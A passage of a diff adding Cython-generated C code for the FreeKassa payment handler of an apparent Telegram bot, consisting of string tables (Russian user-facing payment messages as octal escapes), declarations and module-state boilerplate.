__Pyx__Coroutine_New(__pyx_GeneratorType, body, code, closure, name, qualname, module_name) +static PyObject *__Pyx_Generator_Next(PyObject *self); +static int __pyx_Generator_init(PyObject *module); + +/* CheckBinaryVersion.proto */ +static unsigned long __Pyx_get_runtime_version(void); +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer); + +/* InitStrings.proto */ +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); + +/* #### Code section: module_declarations ### */ + +/* Module declarations from "handlers.payments.freekassa_pay" */ +/* #### Code section: typeinfo ### */ +/* #### Code section: before_global_var ### */ +#define __Pyx_MODULE_NAME "handlers.payments.freekassa_pay" +extern int __pyx_module_is_main_handlers__payments__freekassa_pay; +int __pyx_module_is_main_handlers__payments__freekassa_pay = 0; + +/* Implementation of "handlers.payments.freekassa_pay" */ +/* #### Code section: global_var ### */ +static PyObject *__pyx_builtin_range; +static PyObject *__pyx_builtin_ValueError; +/* #### Code section: string_decls ### */ +static const char __pyx_k_[] = "|"; +static const char __pyx_k_F[] = "F"; +static const char __pyx_k_c[] = "c"; +static const char __pyx_k_e[] = "e"; +static const char __pyx_k_i[] = "i"; +static const char __pyx_k_k[] = "k"; +static const char __pyx_k__4[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\321\217 \320\277\320\273\320\260\321\202\320\265\320\266\320\260: "; +static const char __pyx_k__7[] = "\360\237\222\260 \320\222\320\262\320\265\321\201\321\202\320\270 \321\201\320\262\320\276\321\216 \321\201\321\203\320\274\320\274\321\203"; +static const char __pyx_k__8[] = "\342\254\205\357\270\217 \320\235\320\260\320\267\320\260\320\264"; +static const char __pyx_k_gc[] = "gc"; +static const char __pyx_k_id[] = "id"; +static const char __pyx_k_ip[] = "ip"; +static const char __pyx_k_RUB[] = "RUB"; +static const char __pyx_k__11[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260."; +static const char __pyx_k__12[] = "\320\236\320\277\320\273\320\260\321\202\320\270\321\202\321\214 "; +static const char __pyx_k__13[] = " \321\200\321\203\320\261\320\273\320\265\320\271"; +static const char __pyx_k__14[] = "\320\222\321\213 \320\262\321\213\320\261\321\200\320\260\320\273\320\270 \320\276\320\277\320\273\320\260\321\202\321\203 \320\275\320\260 "; +static const char __pyx_k__15[] = " \321\200\321\203\320\261\320\273\320\265\320\271. \320\237\320\265\321\200\320\265\320\271\320\264\320\270\321\202\320\265 \320\277\320\276 \321\201\321\201\321\213\320\273\320\272\320\265 \320\264\320\273\321\217 \320\267\320\260\320\262\320\265\321\200\321\210\320\265\320\275\320\270\321\217 \320\276\320\277\320\273\320\260\321\202\321\213:"; +static const char __pyx_k__16[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260. \320\237\320\276\320\277\321\200\320\276\320\261\321\203\320\271\321\202\320\265 \320\277\320\276\320\267\320\266\320\265."; +static const char __pyx_k__18[] = "\320\222\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217:"; +static const char __pyx_k__20[] = "\320\241\321\203\320\274\320\274\320\260 \320\264\320\276\320\273\320\266\320\275\320\260 \320\261\321\213\321\202\321\214 \320\261\320\276\320\273\321\214\321\210\320\265 \320\275\321\203\320\273\321\217. \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; +static const char __pyx_k__21[] = "\320\236\320\277\320\273\320\260\321\202\320\270\321\202\321\214"; +static const char __pyx_k__23[] = "\320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\321\203\321\216 \321\201\321\203\320\274\320\274\321\203."; +static const char __pyx_k__24[] = "*"; +static const char __pyx_k__25[] = "."; +static const char __pyx_k__35[] = "?"; +static const char __pyx_k_doc[] = "__doc__"; +static const char __pyx_k_get[] = "get"; +static const char __pyx_k_new[] = "new"; +static const char __pyx_k_pay[] = "pay"; +static const char __pyx_k_row[] = "row"; +static const char __pyx_k_url[] = "url"; +static const char __pyx_k_web[] = "web"; +static const char __pyx_k_args[] = "args"; +static const char __pyx_k_chat[] = "chat"; +static const char __pyx_k_data[] = "data"; +static const char __pyx_k_dict[] = "__dict__"; +static const char __pyx_k_hmac[] = "hmac"; +static const char __pyx_k_json[] = "json"; +static const char __pyx_k_main[] = "__main__"; +static const char __pyx_k_name[] = "__name__"; +static const char __pyx_k_post[] = "post"; +static const char __pyx_k_send[] = "send"; +static const char __pyx_k_spec[] = "__spec__"; +static const char __pyx_k_test[] = "__test__"; +static const char __pyx_k_text[] = "text"; +static const char __pyx_k_time[] = "time"; +static const char __pyx_k_type[] = "type"; +static const char __pyx_k_uuid[] = "uuid"; +static const char __pyx_k_DEBUG[] = "DEBUG"; +static const char __pyx_k_State[] = "State"; +static const char __pyx_k_await[] = "__await__"; +static const char __pyx_k_close[] = "close"; +static const char __pyx_k_debug[] = "debug"; +static const char __pyx_k_email[] = "email"; +static const char __pyx_k_error[] = "error"; +static const char __pyx_k_level[] = "level"; +static const char __pyx_k_nonce[] = "nonce"; +static const char __pyx_k_range[] = "range"; +static const char __pyx_k_split[] = "split"; +static const char __pyx_k_state[] = "state"; +static const char __pyx_k_super[] = "super"; +static const char __pyx_k_throw[] = "throw"; +static const char __pyx_k_types[] = "types"; +static const char __pyx_k_uuid4[] = "uuid4"; +static const char __pyx_k_Router[] = "Router"; +static const char __pyx_k_amount[] = "amount"; +static const char __pyx_k_answer[] = "answer"; +static const char __pyx_k_config[] = "config"; +static const char __pyx_k_enable[] = "enable"; +static const char __pyx_k_encode[] = "encode"; +static const char __pyx_k_import[] = "__import__"; +static const char __pyx_k_lambda[] = ""; +static const char __pyx_k_module[] = "__module__"; +static const char __pyx_k_params[] = "params"; +static const char __pyx_k_router[] = "router"; +static const char __pyx_k_sha256[] = "sha256"; +static const char __pyx_k_shopId[] = "shopId"; +static const char __pyx_k_status[] = "status"; +static const char __pyx_k_values[] = "values"; +static const char __pyx_k_aiogram[] = "aiogram"; +static const char __pyx_k_aiohttp[] = "aiohttp"; +static const char __pyx_k_api_key[] = "api_key"; +static const char __pyx_k_builder[] = "builder"; +static const char __pyx_k_disable[] = "disable"; +static const char __pyx_k_genexpr[] = "genexpr"; +static const char __pyx_k_hashlib[] = "hashlib"; +static const char __pyx_k_isdigit[] = "isdigit"; +static const char __pyx_k_logging[] = "logging"; +static const char __pyx_k_message[] = "message"; +static const char __pyx_k_prepare[] = "__prepare__"; +static const char __pyx_k_request[] = "request"; +static const char __pyx_k_success[] = "success"; +static const char __pyx_k_user_id[] = "user_id"; +static const char __pyx_k_user_ip[] = "user_ip"; +static const char __pyx_k_Response[] = "Response"; +static const char __pyx_k_currency[] = "currency"; +static const char __pyx_k_database[] = "database"; +static const char __pyx_k_keyboard[] = "keyboard"; +static const char __pyx_k_location[] = "location"; +static const char __pyx_k_metadata[] = "metadata"; +static const char __pyx_k_qualname[] = "__qualname__"; +static const char __pyx_k_requests[] = "requests"; +static const char __pyx_k_response[] = "response"; +static const char __pyx_k_set_name[] = "__set_name__"; +static const char __pyx_k_solo_net[] = "@solo.net"; +static const char __pyx_k_FreeKassa[] = "\320\236\321\202\320\262\320\265\321\202 \320\276\321\202 FreeKassa \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260: "; +static const char __pyx_k_as_markup[] = "as_markup"; +static const char __pyx_k_completed[] = "completed"; +static const char __pyx_k_freekassa[] = "freekassa"; +static const char __pyx_k_hexdigest[] = "hexdigest"; +static const char __pyx_k_isenabled[] = "isenabled"; +static const char __pyx_k_metaclass[] = "__metaclass__"; +static const char __pyx_k_paymentId[] = "paymentId"; +static const char __pyx_k_set_state[] = "set_state"; +static const char __pyx_k_signature[] = "signature"; +static const char __pyx_k_FSMContext[] = "FSMContext"; +static const char __pyx_k_ValueError[] = "ValueError"; +static const char __pyx_k_amount_str[] = "amount_str"; +static const char __pyx_k_payment_id[] = "payment_id"; +static const char __pyx_k_startswith[] = "startswith"; +static const char __pyx_k_user_email[] = "user_email"; +static const char __pyx_k_FreeKassa_2[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\267\320\260\320\277\321\200\320\276\321\201\320\260 \320\272 FreeKassa: "; +static const char __pyx_k_FreeKassa_3[] = "\320\237\320\276\320\273\321\203\321\207\320\265\320\275 \320\262\320\265\320\261\321\205\321\203\320\272 \320\276\321\202 FreeKassa: "; +static const char __pyx_k_FreeKassa_4[] = "\320\224\320\260\320\275\320\275\321\213\320\265 \320\262\320\265\320\261\321\205\321\203\320\272\320\260 \320\276\321\202 FreeKassa: "; +static const char __pyx_k_FreeKassa_5[] = "\320\222\321\213\320\261\320\265\321\200\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217 \321\207\320\265\321\200\320\265\320\267 FreeKassa:"; +static const char __pyx_k_StatesGroup[] = "StatesGroup"; +static const char __pyx_k_add_payment[] = "add_payment"; +static const char __pyx_k_basicConfig[] = "basicConfig"; +static const char __pyx_k_freekassa_2[] = "freekassa_"; +static const char __pyx_k_mro_entries[] = "__mro_entries__"; +static const char __pyx_k_payment_url[] = "payment_url"; +static const char __pyx_k_sign_string[] = "sign_string"; +static const char __pyx_k_initializing[] = "_initializing"; +static const char __pyx_k_is_coroutine[] = "_is_coroutine"; +static const char __pyx_k_reply_markup[] = "reply_markup"; +static const char __pyx_k_aiogram_types[] = "aiogram.types"; +static const char __pyx_k_callback_data[] = "callback_data"; +static const char __pyx_k_class_getitem[] = "__class_getitem__"; +static const char __pyx_k_init_subclass[] = "__init_subclass__"; +static const char __pyx_k_pay_freekassa[] = "pay_freekassa"; +static const char __pyx_k_response_data[] = "response_data"; +static const char __pyx_k_sorted_params[] = "sorted_params"; +static const char __pyx_k_types_Message[] = "types.Message"; +static const char __pyx_k_callback_query[] = "callback_query"; +static const char __pyx_k_create_payment[] = "create_payment"; +static const char __pyx_k_handlers_texts[] = "handlers.texts"; +static const char __pyx_k_update_balance[] = "update_balance"; +static const char __pyx_k_PAYMENT_OPTIONS[] = "PAYMENT_OPTIONS"; +static const char __pyx_k_inline_keyboard[] = "inline_keyboard"; +static const char __pyx_k_confirm_keyboard[] = "confirm_keyboard"; +static const char __pyx_k_freekassa_amount[] = "freekassa_amount|"; +static const char __pyx_k_FREEKASSA_API_KEY[] = "FREEKASSA_API_KEY"; +static const char __pyx_k_FREEKASSA_SHOP_ID[] = "FREEKASSA_SHOP_ID"; +static const char __pyx_k_aiogram_fsm_state[] = "aiogram.fsm.state"; +static const char __pyx_k_freekassa_webhook[] = "freekassa_webhook"; +static const char __pyx_k_asyncio_coroutines[] = "asyncio.coroutines"; +static const char __pyx_k_cline_in_traceback[] = "cline_in_traceback"; +static const char __pyx_k_generate_signature[] = "generate_signature"; +static const char __pyx_k_aiogram_fsm_context[] = "aiogram.fsm.context"; +static const char __pyx_k_types_CallbackQuery[] = "types.CallbackQuery"; +static const char __pyx_k_InlineKeyboardButton[] = "InlineKeyboardButton"; +static const char __pyx_k_InlineKeyboardMarkup[] = "InlineKeyboardMarkup"; +static const char __pyx_k_InlineKeyboardBuilder[] = "InlineKeyboardBuilder"; +static const char __pyx_k_ReplenishBalanceState[] = "ReplenishBalanceState"; +static const char __pyx_k_aiogram_utils_keyboard[] = "aiogram.utils.keyboard"; +static const char __pyx_k_handlers_payments_utils[] = "handlers.payments.utils"; +static const char __pyx_k_process_amount_selection[] = "process_amount_selection"; +static const char __pyx_k_choosing_amount_freekassa[] = "choosing_amount_freekassa"; +static const char __pyx_k_process_custom_amount_input[] = "process_custom_amount_input"; +static const char __pyx_k_process_enter_custom_amount[] = "process_enter_custom_amount"; +static const char __pyx_k_enter_custom_amount_freekassa[] = "enter_custom_amount_freekassa"; +static const char __pyx_k_process_callback_pay_freekassa[] = "process_callback_pay_freekassa"; +static const char __pyx_k_handlers_payments_freekassa_pay[] = "handlers.payments.freekassa_pay"; +static const char __pyx_k_entering_custom_amount_freekassa[] = "entering_custom_amount_freekassa"; +static const char __pyx_k_generate_signature_locals_genexp[] = "generate_signature..genexpr"; +static const char __pyx_k_https_api_freekassa_com_v1_order[] = "https://api.freekassa.com/v1/orders/create"; +static const char __pyx_k_send_payment_success_notificatio[] = "send_payment_success_notification"; +static const char __pyx_k_waiting_for_payment_confirmation[] = "waiting_for_payment_confirmation_freekassa"; +static const char __pyx_k_handlers_payments_freekassa_pay_2[] = "handlers/payments/freekassa_pay.py"; +/* #### Code section: decls ### */ +static PyObject *__pyx_lambda_funcdef_8handlers_8payments_13freekassa_pay_lambda1(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_c); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_18generate_signature_genexpr(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_genexpr_arg_0); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_generate_signature(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_params, PyObject *__pyx_v_api_key); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_2create_payment(CYTHON_UNUSED PyObject *__pyx_self, CYTHON_UNUSED PyObject *__pyx_v_user_id, PyObject *__pyx_v_amount, PyObject *__pyx_v_email, PyObject *__pyx_v_ip); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_5freekassa_webhook(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_request); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_8process_callback_pay_freekassa(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_11process_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, CYTHON_UNUSED PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_14process_enter_custom_amount(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_17process_custom_amount_input(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_message, CYTHON_UNUSED PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +/* #### Code section: late_includes ### */ +/* #### Code section: module_state ### */ +typedef struct { + PyObject *__pyx_d; + PyObject *__pyx_b; + PyObject *__pyx_cython_runtime; + PyObject *__pyx_empty_tuple; + PyObject *__pyx_empty_bytes; + PyObject *__pyx_empty_unicode; + #ifdef __Pyx_CyFunction_USED + PyTypeObject *__pyx_CyFunctionType; + #endif + #ifdef __Pyx_FusedFunction_USED + PyTypeObject *__pyx_FusedFunctionType; + #endif + #ifdef __Pyx_Generator_USED + PyTypeObject *__pyx_GeneratorType; + #endif + #ifdef __Pyx_IterableCoroutine_USED + PyTypeObject *__pyx_IterableCoroutineType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineAwaitType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineType; + #endif + #if CYTHON_USE_MODULE_STATE + PyObject *__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr; + PyObject *__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment; + PyObject *__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook; + PyObject *__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa; + PyObject *__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection; + PyObject *__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount; + PyObject *__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input; + #endif + PyTypeObject *__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr; + PyTypeObject *__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment; + PyTypeObject *__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook; + PyTypeObject *__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa; + PyTypeObject *__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection; + PyTypeObject *__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount; + PyTypeObject *__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input; + PyObject *__pyx_kp_u_; + PyObject *__pyx_n_s_DEBUG; + PyObject *__pyx_n_s_F; + PyObject *__pyx_n_s_FREEKASSA_API_KEY; + PyObject *__pyx_n_s_FREEKASSA_SHOP_ID; + PyObject *__pyx_n_s_FSMContext; + PyObject *__pyx_kp_u_FreeKassa; + PyObject *__pyx_kp_u_FreeKassa_2; + PyObject *__pyx_kp_u_FreeKassa_3; + PyObject *__pyx_kp_u_FreeKassa_4; + PyObject *__pyx_kp_u_FreeKassa_5; + PyObject *__pyx_n_s_InlineKeyboardBuilder; + PyObject *__pyx_n_s_InlineKeyboardButton; + PyObject *__pyx_n_s_InlineKeyboardMarkup; + PyObject *__pyx_n_s_PAYMENT_OPTIONS; + PyObject *__pyx_n_u_RUB; + PyObject *__pyx_n_s_ReplenishBalanceState; + PyObject *__pyx_n_s_Response; + PyObject *__pyx_n_s_Router; + PyObject *__pyx_n_s_State; + PyObject *__pyx_n_s_StatesGroup; + PyObject *__pyx_n_s_ValueError; + PyObject *__pyx_kp_u__11; + PyObject *__pyx_kp_u__12; + PyObject *__pyx_kp_u__13; + PyObject *__pyx_kp_u__14; + PyObject *__pyx_kp_u__15; + PyObject *__pyx_kp_u__16; + PyObject *__pyx_kp_u__18; + PyObject *__pyx_kp_u__20; + PyObject *__pyx_n_u__21; + PyObject *__pyx_kp_u__23; + PyObject *__pyx_n_s__24; + PyObject *__pyx_kp_u__25; + PyObject *__pyx_n_s__35; + PyObject *__pyx_kp_u__4; + PyObject *__pyx_kp_u__7; + PyObject *__pyx_kp_u__8; + PyObject *__pyx_n_s_add_payment; + PyObject *__pyx_n_s_aiogram; + PyObject *__pyx_n_s_aiogram_fsm_context; + PyObject *__pyx_n_s_aiogram_fsm_state; + PyObject *__pyx_n_s_aiogram_types; + PyObject *__pyx_n_s_aiogram_utils_keyboard; + PyObject *__pyx_n_s_aiohttp; + PyObject *__pyx_n_s_amount; + PyObject *__pyx_n_u_amount; + PyObject *__pyx_n_s_amount_str; + PyObject *__pyx_n_s_answer; + PyObject *__pyx_n_s_api_key; + PyObject *__pyx_n_s_args; + PyObject *__pyx_n_s_as_markup; + PyObject *__pyx_n_s_asyncio_coroutines; + PyObject *__pyx_n_s_await; + PyObject *__pyx_n_s_basicConfig; + PyObject *__pyx_n_s_builder; + PyObject *__pyx_n_s_c; + PyObject *__pyx_n_s_callback_data; + PyObject *__pyx_n_u_callback_data; + PyObject *__pyx_n_s_callback_query; + PyObject *__pyx_n_s_chat; + PyObject *__pyx_n_s_choosing_amount_freekassa; + PyObject *__pyx_n_s_class_getitem; + PyObject *__pyx_n_s_cline_in_traceback; + PyObject *__pyx_n_s_close; + PyObject *__pyx_n_u_completed; + PyObject *__pyx_n_s_config; + PyObject *__pyx_n_s_confirm_keyboard; + PyObject *__pyx_n_s_create_payment; + PyObject *__pyx_n_u_currency; + PyObject *__pyx_n_s_data; + PyObject *__pyx_n_s_database; + PyObject *__pyx_n_s_debug; + PyObject *__pyx_n_s_dict; + PyObject *__pyx_kp_u_disable; + PyObject *__pyx_n_s_doc; + PyObject *__pyx_n_s_e; + PyObject *__pyx_n_s_email; + PyObject *__pyx_n_u_email; + PyObject *__pyx_kp_u_enable; + PyObject *__pyx_n_s_encode; + PyObject *__pyx_n_u_enter_custom_amount_freekassa; + PyObject *__pyx_n_s_entering_custom_amount_freekassa; + PyObject *__pyx_n_s_error; + PyObject *__pyx_n_u_freekassa; + PyObject *__pyx_n_u_freekassa_2; + PyObject *__pyx_kp_u_freekassa_amount; + PyObject *__pyx_n_s_freekassa_webhook; + PyObject *__pyx_kp_u_gc; + PyObject *__pyx_n_s_generate_signature; + PyObject *__pyx_n_s_generate_signature_locals_genexp; + PyObject *__pyx_n_s_genexpr; + PyObject *__pyx_n_s_get; + PyObject *__pyx_n_s_handlers_payments_freekassa_pay; + PyObject *__pyx_kp_s_handlers_payments_freekassa_pay_2; + PyObject *__pyx_n_s_handlers_payments_utils; + PyObject *__pyx_n_s_handlers_texts; + PyObject *__pyx_n_s_hashlib; + PyObject *__pyx_n_s_hexdigest; + PyObject *__pyx_n_s_hmac; + PyObject *__pyx_kp_u_https_api_freekassa_com_v1_order; + PyObject *__pyx_n_s_i; + PyObject *__pyx_n_u_i; + PyObject *__pyx_n_s_id; + PyObject *__pyx_n_s_import; + PyObject *__pyx_n_s_init_subclass; + PyObject *__pyx_n_s_initializing; + PyObject *__pyx_n_s_inline_keyboard; + PyObject *__pyx_n_s_ip; + PyObject *__pyx_n_u_ip; + PyObject *__pyx_n_s_is_coroutine; + PyObject *__pyx_n_s_isdigit; + PyObject *__pyx_kp_u_isenabled; + PyObject *__pyx_n_s_json; + PyObject *__pyx_n_s_k; + PyObject *__pyx_n_s_keyboard; + PyObject *__pyx_n_s_lambda; + PyObject *__pyx_n_s_level; + PyObject *__pyx_n_u_location; + PyObject *__pyx_n_s_logging; + PyObject *__pyx_n_s_main; + PyObject *__pyx_n_s_message; + PyObject *__pyx_n_s_metaclass; + PyObject *__pyx_n_u_metadata; + PyObject *__pyx_n_s_module; + PyObject *__pyx_n_s_mro_entries; + PyObject *__pyx_n_s_name; + PyObject *__pyx_n_s_new; + PyObject *__pyx_n_s_nonce; + PyObject *__pyx_n_u_nonce; + PyObject *__pyx_n_s_params; + PyObject *__pyx_n_u_pay; + PyObject *__pyx_n_u_pay_freekassa; + PyObject *__pyx_n_u_paymentId; + PyObject *__pyx_n_s_payment_id; + PyObject *__pyx_n_s_payment_url; + PyObject *__pyx_n_s_post; + PyObject *__pyx_n_s_prepare; + PyObject *__pyx_n_s_process_amount_selection; + PyObject *__pyx_n_s_process_callback_pay_freekassa; + PyObject *__pyx_n_s_process_custom_amount_input; + PyObject *__pyx_n_s_process_enter_custom_amount; + PyObject *__pyx_n_s_qualname; + PyObject *__pyx_n_s_range; + PyObject *__pyx_n_s_reply_markup; + PyObject *__pyx_n_s_request; + PyObject *__pyx_n_s_requests; + PyObject *__pyx_n_s_response; + PyObject *__pyx_n_s_response_data; + PyObject *__pyx_n_s_router; + PyObject *__pyx_n_s_row; + PyObject *__pyx_n_s_send; + PyObject *__pyx_n_s_send_payment_success_notificatio; + PyObject *__pyx_n_s_set_name; + PyObject *__pyx_n_s_set_state; + PyObject *__pyx_n_s_sha256; + PyObject *__pyx_n_u_shopId; + PyObject *__pyx_n_s_sign_string; + PyObject *__pyx_n_u_signature; + PyObject *__pyx_kp_u_solo_net; + PyObject *__pyx_n_s_sorted_params; + PyObject *__pyx_n_s_spec; + PyObject *__pyx_n_s_split; + PyObject *__pyx_n_s_startswith; + PyObject *__pyx_n_s_state; + PyObject *__pyx_n_s_status; + PyObject *__pyx_n_u_status; + PyObject *__pyx_n_u_success; + PyObject *__pyx_n_s_super; + PyObject *__pyx_n_s_test; + PyObject *__pyx_n_s_text; + PyObject *__pyx_n_u_text; + PyObject *__pyx_n_s_throw; + PyObject *__pyx_n_s_time; + PyObject *__pyx_n_u_type; + PyObject *__pyx_n_s_types; + PyObject *__pyx_kp_s_types_CallbackQuery; + PyObject *__pyx_kp_s_types_Message; + PyObject *__pyx_n_s_update_balance; + PyObject *__pyx_n_s_url; + PyObject *__pyx_n_s_user_email; + PyObject *__pyx_n_s_user_id; + PyObject *__pyx_n_u_user_id; + PyObject *__pyx_n_s_user_ip; + PyObject *__pyx_n_s_uuid; + PyObject *__pyx_n_s_uuid4; + PyObject *__pyx_n_s_values; + PyObject *__pyx_n_s_waiting_for_payment_confirmation; + PyObject *__pyx_n_s_web; + PyObject *__pyx_int_0; + PyObject *__pyx_int_1; + PyObject *__pyx_int_2; + PyObject *__pyx_int_6; + PyObject *__pyx_int_200; + PyObject *__pyx_int_1000; + PyObject *__pyx_tuple__3; + PyObject *__pyx_tuple__10; + PyObject *__pyx_tuple__22; + PyObject *__pyx_tuple__26; + PyObject *__pyx_tuple__28; + PyObject *__pyx_tuple__29; + PyObject *__pyx_tuple__30; + PyObject *__pyx_tuple__31; + PyObject *__pyx_tuple__32; + PyObject *__pyx_tuple__33; + PyObject *__pyx_tuple__34; + PyObject *__pyx_codeobj__2; + PyObject *__pyx_codeobj__5; + PyObject *__pyx_codeobj__6; + PyObject *__pyx_codeobj__9; + PyObject *__pyx_codeobj__17; + PyObject *__pyx_codeobj__19; + PyObject *__pyx_codeobj__27; +} __pyx_mstate; + +#if CYTHON_USE_MODULE_STATE +#ifdef __cplusplus +namespace { + extern struct PyModuleDef __pyx_moduledef; +} /* anonymous namespace */ +#else +static struct PyModuleDef __pyx_moduledef; +#endif + +#define __pyx_mstate(o) ((__pyx_mstate *)__Pyx_PyModule_GetState(o)) + +#define __pyx_mstate_global (__pyx_mstate(PyState_FindModule(&__pyx_moduledef))) + +#define __pyx_m (PyState_FindModule(&__pyx_moduledef)) +#else +static __pyx_mstate __pyx_mstate_global_static = +#ifdef __cplusplus + {}; +#else + {0}; +#endif +static __pyx_mstate *__pyx_mstate_global = &__pyx_mstate_global_static; +#endif +/* #### Code section: module_state_clear ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_clear(PyObject *m) { + __pyx_mstate *clear_module_state = __pyx_mstate(m); + if (!clear_module_state) return 0; + Py_CLEAR(clear_module_state->__pyx_d); + Py_CLEAR(clear_module_state->__pyx_b); + Py_CLEAR(clear_module_state->__pyx_cython_runtime); + Py_CLEAR(clear_module_state->__pyx_empty_tuple); + Py_CLEAR(clear_module_state->__pyx_empty_bytes); + Py_CLEAR(clear_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_CLEAR(clear_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_CLEAR(clear_module_state->__pyx_FusedFunctionType); + #endif + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount); + 